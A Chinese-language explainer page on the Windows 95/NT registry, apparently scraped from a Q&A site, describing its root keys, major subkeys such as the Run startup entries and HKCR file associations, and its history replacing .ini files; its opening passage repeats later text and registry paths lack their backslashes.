HKEY_LOCAL_MACHINEConfig01SystemCurrentControlSetControlPrintPrinters   在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表   HKEY_LOCAL_MACHINEEnum   Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。   HKEY_LOCAL_MACHINEEnumBIOS   BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中   HKEY_LOCAL_MACHINEEnumRoot   Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。   HKEY_LOCAL_MACHINEEnumNetwork   win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。   HKEY_LOCAL_MACHINEHARDWARE   hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。   HKEY_LOCAL_MACHINENetwork   这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。   HKEY_LOCAL_MACHINESECURITY   security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上   HKEY_LOCAL_MACHINESOFTWARE   这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。   我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键:   1.App paths: 你曾经安装过的所有32位软件的位置。   2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。   3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。   4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。   5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。   6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。   7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。   8.Network :网络驱动的配置。   9.Nls, Policies :系统管理员认为你不应该去做的事。   10.ProfileList :所有可以登陆你计算机的用户名列表。   11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。   Run : 程序在启动时运行   RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。   RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。   RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。   12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。   13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。   14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。   15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。   16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句)   HKEY_LOCAL_MACHINESYSTEMCurrentControlSet   这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl   这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices   这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators   atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass   class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs   这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32   msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32   nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess   在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP   这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD   vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost   webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock   这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。   HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust   wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。   HKEY_CLASSES_ROOT   在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。   HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。
2023-07-20 11:18:401

注册表有什么用呢?

什么是注册表? 注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是,微软并没有完全公开讲述关于注册表正确设置的支持信息,这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样,它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样,因为用户对这方面的缺乏了解使得注册表更多的出现故障。 Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件,注册表包含在Windows目录下两个文件system.dat和user.dat里,还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前,在windows的更早版本(在win95以前),这些功能是靠win.ini,system.ini和其他和应用程序有关联的.ini文件来实现的. 在windows操作系统家族中,system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息,system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中,任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制,程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说,微软的Excel有一个excel.ini文件,它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。 最开始,system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大,则需要在.ini文件中添加更多的参数项。这样下来,在一个变化的环境中,在应用程序安装到系统中后,每个人都会更改.ini文件。然而,没有一个人在删除应用程序后删除.ini文件中的相关设置,所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题:升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题,一个.ini文件的最大尺寸是64KB。为了解决这个问题,软件商自己开始支持自己的.ini文件,然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突,究竟是谁的优先级更高呢? 注册表最初被设计为一个应用程序的数据文件相关参考文件,最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂,它被设计为专门为32位应用程序工作,文件的大小被限制在大约40MB。 注册表都做些什么? 注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作,所以所有设备都通过注册表来控制,一般这些是通过BIOS来控制的。在Win95下,16位驱动会继续以实模式方式设备工作,它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下,它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。 在没有注册表的情况下,操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。 在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备,它使用驱动程序,甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动,这个驱动是独立于操作系统的,但是操作系统需要知道从哪里找到它们,文件名、版本号、其他设置和信息,没有注册表对设备的记录,它们就不能被使用。 当一个用户准备运行一个应用程序,注册表提供应用程序信息给操作系统,这样应用程序可以被找到,正确数据文件的位置被规定,其他设置也都可以被使用。 注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息(比如说日期),安装软件的用户,软件版本号和日期,序列号等。根据安装软件的不同,它包括的信息也不同。 然而,一般来说,注册表控制所有32位应用程序和驱动,控制的方法是基于用户和计算机的,而不依赖于应用程序或驱动,每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以,计算机功能和安装的硬件和软件有关,对所以用户来说项都是公用的。 有些程序功能对用户有影响,有些时作用于计算机而不是为个人设置的,同样的,驱动可能是用户指定的,但在很多时候,它们在计算机中是通用的。 注册表控制用户模式的例子有: 控制面板功能; 桌面外观和图标; 网络参数; 浏览器功能性和特征; 那些功能中的某些是和用户无关的,有些是针对用户的。 计算机相关控制项基于计算机名,和登陆用户无关。控制类型的例子是安装一个应用程序,不管是哪个用户,程序的可用性和存取是不变的,然而,运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机,但是当前连接和用户信息相关。 这里是在注册表中基与计算机控制条目的一些例子: 存取控制; 登陆确认; 文件和打印机共享; 网卡设置和协议; 系统性能和虚拟内存设置; 没有了注册表,Win95和Winnt 就不太可能存在。它们实在太复杂了,以致于用过去的.ini文件无法控制,它们的扩展能力需要几乎无限制的安装和使用应用程序,注册表实现了它。然而,注册表比.ini文件更复杂,理解它如何工作,它做什么和如何用它来做是有效管理系统的关键。 在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互,比如复制和粘贴,它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置,理解注册表仍是做Winnt和Win95系统管理基本常识。 二、注册表的结构 注册表的结构 注册表是Windows程序员建造的一个复杂的信息数据库,它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合,从而产生出一个绝对唯一的注册表。 计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中: DEFAULT,SAM,SECURITY,SOFTWARE,SYSTEM,NTUSER.DAT。 Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多,因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统,所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易,所以这个文件也比较小。 Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件,每个用户就会有在WINDOWSProfilesusernameUSER.DAT下它自己的user.dat文件。在启动时,系统将记录你的登陆,从你目录中的配置文件(USER.DAT信息)将被装入,以用来保持你自己的桌面和图标。 控制键 在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此,注册表使用这些条目。下面是六个控制键 HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_DYN_DATA HKEY_USERS HKEY_CURRENT_USER Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序,重新在桌面上创建图标,并重新建立用户环境。 通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键,其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。 HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时,HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。 HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINESOFTWAREClasses,但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。 HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆,域控制器自动将信息发送到HKEY_CURRENT_USER里,而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统,而是记录在域控制器里。 键和子键 数据被分割成多层次的键和子键,建立分层次(就象Exploer一样)结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号(+)标志子键说明在它下面还有更多内容的东西。当点开它的时候,文件夹的加号标志被替换成一个减号(-)标志,然后显示出下一级的子键。 所有软件,硬件,windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略,用户权限和共享信息也包括在这个键中。用户权限,安全策略,共享信息可以通过Windows NT域用户管理器,Explorer和Win95中控制面板来设置。 HKEY_CLASSES_ROOT HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息: 在文件和应用程序之间所有的扩展名和关联; 所有的驱动程序名称; 类的ID数字(所要存取项的名字用数字来代替); DDE和OLE的信息; 用于应用程序和文件的图标; HKEY_CURRENT_CONFIG. HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件,也就是原始配置,数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时,当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中,在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同,特定的信息被映射到HKEY_CURRENT_CONFIG。 HKEY_DYN_DATA HKEY_DYN_DATA和其他的注册表控制键不同,因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是,在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中,Win95用它来控制硬件。因为是在内存中,所以它不从硬盘中读取,每次当你启动计算机时,配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以,如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好,但是并非一直如此。 HKEY_USERS HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置,但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。 HKEY_CURRENT_USER 用来保存当前用户和缺省用户的信息,HKEY_CURRENT_USER仅映射当前登陆用户的信息。 各主键的简单介绍 HKEY_LOCAL_MACHINE HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。(比如文件的位置,注册和未注册的状态,版本号等等)这些设置和用户无关,因为这些设置是针对使用这个系统的所有用户的。 HKEY_LOCAL_MACHINEAppEvents 为了以后在瘦客户机上运行客户机/服务器这样的应用程序,在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬件设置(这些从控制面板的系统属性中硬件配置文件中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设置,如荧屏字体,窗体大小,窗体位置和分辨率等 一个小技巧:当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏),可以修改分辨率来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存着系统里打印机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个打印机设置的,通过控制面板添加和删除打印机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中 HKEY_LOCAL_MACHINEEnumRoot Root键包括所有非即插即用设备的信息。在这里,我们可以迅速断定哪些设备是即插即用,那些不是。比如SCSI适配器,这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置,这个不会改变。 HKEY_LOCAL_MACHINEEnumNetwork win95的网络功能在这个键有详细说明,子键包括了每个已经安装的主要的服务和协议。 HKEY_LOCAL_MACHINEHARDWARE hardware子键包括了两个多层的子键:DESCRIPTION键,它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键,它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息,及数学处理器和串行口。 HKEY_LOCAL_MACHINENetwork 这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINEEnumNetwork这个键中。这个键有一个子键,logon,包括了lmlogon(本地机器登陆?0=false 1=true)的值,logonvalidated(必须登陆验证),策略处理,主登陆方式(Windows登陆 ,微软网络客户方式等),用户名和用户配置。 HKEY_LOCAL_MACHINESECURITY security 有两个子键,第一个是存取(它最终致使一个远程键列出网络安全资源,存取权限等)和提供(包括列出网络地址和地址服务器),这个键被保留用在以后使用高级安全功能和NT兼容性上 HKEY_LOCAL_MACHINESOFTWARE 这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化,依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。 我们在MicrosoftWindowsCurrent Version下发现了一些有意思的设置,它有如下子键: 1.App paths: 你曾经安装过的所有32位软件的位置。 2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。 3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。 4.Extensions : 一个扩展联系的列表,当前相关联的扩展名和比特定的执行文件更适合的目标类型。 5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板, 服务器,桌面计算机或者笔记本电脑信息。 6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。 7.MS-DOS Options :在dos模式下的设置,如himem.sys,cd-roms等。 8.Network :网络驱动的配置。 9.Nls, Policies :系统管理员认为你不应该去做的事。 10.ProfileList :所有可以登陆你计算机的用户名列表。 11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINEMicrosoftWindowsCurrentVersion下的子键中被执行。 Run : 程序在启动时运行 RunOnce : windows初始化时程序在启动时只运行一次,这个经常用在当安装软件之后需要重新启动系统的时候,所以这个键一般都是空的。 RunServices : 它就象Run一样,但是包含了“服务”,它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。 RunServicesOnce : 它只运行一次,但是是“系统自身”的安装(大量的windows安装参数:通常键值包括了系统目录位置,和win95更新,可选项安装组件,和windows启动目录的子键。 注意:在很多黑客木马软件中,常常在这里添加键值(一般是在Run中),这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序(比如我就很不喜欢超级解霸的自动伺服器,在这里可以去掉它)。 12.SharedDLLs:共享DLL的列表,每一个都给出了在一个不可知系统的一个数字等级。 13.Shell Extensions:列出了“被认可的”OLE注册条,和相应的CLSID连接。 14.ShellScrap :这个包含了一个PriorityCacheformats的子键,它包括了一个空的有限值,它更象过去SmartDrive命令行参数的派生。 15.Time Zones : 主键值是你现在的时区;子键定义了所以可能的时区。 16.Uninstall:这个保存了程序在添加/删除程序对话框的显示;子键包含了指向反安装程序的路径。和安装向导相似.......)winlogon(包含了合法登陆布告的文本句) HKEY_LOCAL_MACHINESYSTEMCurrentControlSet 这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt,win95只包括限制驱动的控制设置信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl 这个子键包括了win95控制面板中的信息。不要编辑这些信息,因为一些小程序的改变在很多地方,一个丢失的项会使这个系统变的不稳定 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 这个键包括了所有win95的标准服务。所有被添加的服务和设备,每个标准的服务键包括了它的设置和辨认设置。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesArbitrators atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址,冲突,DMA,I/O端口冲突和IRQ冲突。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesClass class键包括了所有win95支持的设备classes控制,这些和你在添加新硬件出现的硬件组很类似,还包括了这些设备如何安装的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesinetaccs 这个键包括了关于这个系统变化的ie附件的可用性,它仅在你安装过ie2。0或者更高版本才出现。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesMSNP32 msnp32描述了客户机如何在microsoft网络中实现功能,它包括了认证过程和认证者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNWNP32 nenp32键描述了windows客户如何在netware网络中工作功能,它包括了关于认证过程和证明者的信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRemoteAccess 在这个键里包括需要远程工作在win95系统上的信息,有认证参数,主机信息,和为了建立一个拨号连接工作的协议信息。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSNMP 这个键包括了所以snmp(简单网络管理协议)的参数。它包括了允许的管理,配置陷阱,和有效的团体。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesVxD vxd键包括了win95中所有32位虚拟设备驱动信息,win95自动管理它们,所以不必要用注册表编辑器编辑它们,所以的静态vxds用子键列出。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWebPost webpost键包括了所有装载的internet邮局的设置,如果你连接一个isp,并且它列出载这里,你应该给自己选则一个服务器。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinsock 这个键列出了当连接到internet上winnsock文件的信息,如果列出了不正确的文件,你将不会连接上internet。 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinTrust wintrust功能是检查从Internet上下载来的文件是否有病毒,它可以确保你得到干净安全的文件。 HKEY_CLASSES_ROOT 在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。 HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息,在Win95和Winnt中,HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINESoftwareClasses是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置,相反的,他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。 在Windows用户图形界面下,每件事----每个文件,每个目录,每个小程序,每个连接,每个驱动---都被看做一个对象;每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为: 一个对象类型和一个文件扩展名关联 一个对象类型和一种图标关联 一个对象类型和一个命令行动作的关联 定义对象类型相关菜单选项和定义每一个对象类型属性选项 在Win95中,相关菜单就是当你鼠标右击一个对象时所弹出的菜单;属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标,和添加或者删除给定对象类型的弹出菜单内容(或者所有的对象类型) HKCR包括了三种基本类型的子键 ??? 或者文件扩展名子键 文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作,属性项,和相关操作。 object 类型子键 对象类型子键定义了一个对象类型在它缺省图标的项,它的弹出菜单和属性项,它的相关操作和它的CLSID连接。 CLSID 子键 在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标,应用程序,目录,文件类型等等对象的数字。是微软为制造商分配的,每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。 注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说,假定你有一个微软Excel 7电子数据表的Word 7文档,当你在Word中双击这个电子数据表,应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态,就好象你在Excel中一样。它是如何知道该做什么呢?每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后,到注册表中寻找指示,依赖CLSID下的数据运行.DLL文件或者应用程序。 CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单,或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的,实际上,为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串,除非你是程序员,否则多数部分键看起来是很枯燥的。它们包括内存管理模式,客户机/服务器配置,和OLE处理的.dll连接。 关于子键的一点注解 1)shell:Shell键有个一”action“子键,如同”open“一样,这里有一个command子键;command子键有一个缺省句值,它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项,给这个open子键一个command(缺省命令行"C:Windows Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。 2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项(比如说快速查看,一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件) 3)shellnew:ShellNew包含了一个“command”句,它包含了一个打开对象类型“新”文件的命令行。 4)DefaultIcon:DefaultIcon子键包含了一个“default”句
2023-07-20 11:18:519

注册表是什么

Windows的注册表(Registry)实质上是一个庞大的数据库,它存储这下面这些内容: 软、硬件的有关配置和状态信息,应用程序和资源管理器外壳的初始条件、首选项和卸载数据; 计算机的整个系统的设置和各种许可,文件扩展名与应用程序的关联, 硬件的描述、状态和属性; 计算机性能纪录和底层的系统状态信息,以及各类其他数据。注册表的结构 在Windows中,注册表由两个文件组成:System.dat和User.dat,保存在windows所在的文件夹中。它们是由二进制数据组成。System.dat包含系统硬件和软件的设置,User.dat保存着与用户有关的信息,例如资源管理器的设置,颜色方案以及网络口令等等。 Windows为我们提供了一个注册表编辑器(Regedit.exe)的工具,它可以用来查看和维护注册表。注册表编辑器与资源管理器的界面相似。左边窗格中,由"我的电脑"开始,以下是六个分支,每个分之名都以HKEY开头,称为主键(KEY),展开后可以看到主键还包含次级主键(SubKEY)。当单击某一主键或次主键时,右边窗格中显示的是所选主键内包含的一个或多个键值(value)。键值由键值名称(value Name)和数据(value Data)组成。主键中可以包含多级的次级主键,注册表中的信息就是按照多级的层次结构组织的。每个分支中保存计算机软件或应建设之中某一方面的信息与数据。 注册表中格分支的功能如下:HKEY-CLASSES-ROOT 文件扩展名与应用的关联及OLE信息 HKEY-CURRENT-USER 当前登录用户控制面板选项和桌面等的设置,以及映射的网络驱动器 HKEY-LOCAL-MACHINE 计算机硬件与应用程序信息 HKEY-USERS 所有登录用户的信息 HKEY-CURRENT-CONFIG 计算机硬件配置信息 HKEY-DYN-DATA 即插即用和系统性能的动态信息 